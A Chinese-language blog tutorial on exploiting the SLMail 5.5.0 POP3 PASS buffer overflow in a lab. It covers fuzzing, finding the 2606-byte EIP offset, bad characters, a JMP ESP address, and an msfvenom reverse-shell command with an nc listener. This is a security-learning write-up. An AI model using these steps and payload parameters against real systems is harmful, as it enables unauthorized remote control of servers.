缓冲区溢出实战-slmail溢出反弹shell

基本概念与环境搭建

缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。

 

在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。

 

注意,Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用:DEP。阻止代码从数据页被执行;ASLR,随机内存地址加载执行程序和DLL,每次重启地址变化。

 

环境准备:SLMail 5.5.0 Mail Server,ImmunityDebugger,mona.py,windos和linux系统

 

下载地址:

slmail          http://slmail.software.informer.com/5.5/

mona.py      https://github.com/corelan/mona

immunity debugger      https://www.immunityinc.com/products/debugger/

 

安装好环境之后,确认SLMail的服务是否正常开启:

 

再确认一下SLMail的110端口是否正常开启:

 

然后第一步先把下载的mona模块放入ImmunityDebugger安装目录下的PyCommands下,如我的目录:C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

 

在Linux系统,我的是安装的kali,ping一下windows,看能不能ping通。

windows:

 

 

如果ping不通,请关闭防火墙:

 

之后,在kali这边链接一下110端口,看能否链接,看到如下显示就可以。

 

windows电脑上通过管理员权限启动Immunity Debugger,点击file,然后attach选择SLmail进程。点击Attach开始调试。

 

 

右下角显示running即可。

 

POP3崩溃模糊测试:

可在https://github.com/jessekurrus/slmailsploits收集到测试相关的脚本:fuzzer.py,模糊测试,崩溃的大概字符数量。

windows系统调试的slmail右下角显示paused,kali机器停留在2900个字符。EIP中的41是十六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为一个存储单元进行存储,

EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址,所发送的A把下一条指令的内存地址给覆盖了,发生了缓冲区溢出。此时cpu会到EIP所在的内存地址中寻找指令代码,而该指令内存已被A全部覆盖,此时程序就会奔溃无法继续运行。

漏洞利用:可以用shellcode填充EIP寄存器地址,这样就可能控制目标机器。

 

注意:每次测试完都会导致邮件服务奔溃,因此需要每次实验前都需要重新启动SLmail服务。

# 通过调试工具查看是否异常?【静态调试(汇编)、动态调试(正在运行的进程:attach)】

110端口【SLmail】:netstat -nao【查看系统进程的PID和端口等信息】

# 重点关注寄存器

# ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖

# EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode

可通过服务列表刷新之后看到服务已停止,重启启动即可。

 

然后重新打开Immunity Debugger,选中slmail进程,开启调试。

 

寻找精确溢出的字符位置:

直接使用kaili的工具确定唯一字符:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900

生成2900个唯一字符。

替换poc.py里的pattern参数。

 

再次执行脚本:

 

windows调试进程暂停,可以看到,EIP寄存器的值为39694438。

 

由于内存地址和通常人们书写的顺序是相反的,即内存低地址放在高位、内存高地址放在低位,因而要将该值调换一下顺序编程我们所认知的顺序表示:

先分割:39 69 44 38,再调换顺序:38 44 69 39,然后查看ASCII码表可知其代表:8Di9

通过kali自带工具可确定准确的字符位置为2606:/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438

可通过poc2脚本来验证是否准确:

运行脚本之后,调试的进程显示如下,满足预先计算的结果,则可验证字符位置是正确的,可以看到,EIP寄存器的数据即是脚本中buffer中设置的4个B(ASCII的Hex值为42),而ESP寄存器存放的正是脚本中buffer的4个B后面的20个C,这里将为我们添加shellcode提供了可能性。:

 

筛选坏字符:

值得注意的是,不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定的用途(返回地址、shellcode、buffer中都不能出现坏字符):

1、NULL byte(0x00)空字符,用于终止字符串的拷贝操作

2、return(0x0D)回车操作,表示POP3 PASS命令输入完成

思路:发送0x00——0xff 256个字符,查找所有坏字符

利用poc3.py脚本即可实现:

发送坏字符之后,点击esp,右键follow in dump。

 

查看坏字符顺序,如果某个顺序不对,坏字符就是不对的那个字符。比如下图坏字符为0a,在脚本内删除0a,之后再次运行进程,再次发送,查看后续是否恢复正常。

 

再次发送之后可观察到后续已经恢复正常顺序,按照这个思路一直查找坏字符,直到ff为止。

 

最终找到的坏字符为:0A、0D、00

 

修改EIP指向ESP:

在内存中寻找地址固定的系统模块;

在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode;

mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块;

寻找无DEP、ALSR保护的内存地址;

内存地址不包含坏字符。

!mona modules

 

关键看表中的5列:Rebase、SafeSEH、ASLR、NXCompat、OS Dll

 

其中Rebase表示重启后是否会改变地址、False即不改变;SafeSEH、ASLR、NXCompat这三项都是Windows相关的安全机制;OS Dll表示是否是OS自带的库。即前四列选False,最后一列选True。

 

所以可以挑出上图选中的那些模块逐一尝试,然后进一步确认其是否有JMP ESP指令。

 

先将汇编指令“jmp esp”转换成十六进制的ASCII码:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

接着输入命令查看第一个模块是否含有jmp esp指令:

!mona find -s "\xff\xe4" -m Openc32.dll

没找到之后下一个:

 

如图,第一个就是我们要的地址  5F4A358F

 

缓冲区漏洞利用:

将该EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器的数值,将跳转到shellcode代码段并执行。

所有参数都收集完毕了,最后使用slmailsploit.py脚本来反弹shell,需要写入参数包括:

achars = 'A'*2606

#JMP ESP address is 5F4A358F

jmpesp = '\x8f\x35\x4a\x5f'

#NOP Sled

nops = '\x90'*16

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.126 LPORT=53 -f python -b \x00\x0a\x0d\

msf生成的shellcode。

 

kali本地通过nc -lvp 53监听端口。windows开启调试,然后kali运行构造好的脚本。反弹shell成功。

 

这个漏洞很老,适合新手学习,整个过程需要反复的验证可靠性,不失为一个经典溢出案例。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值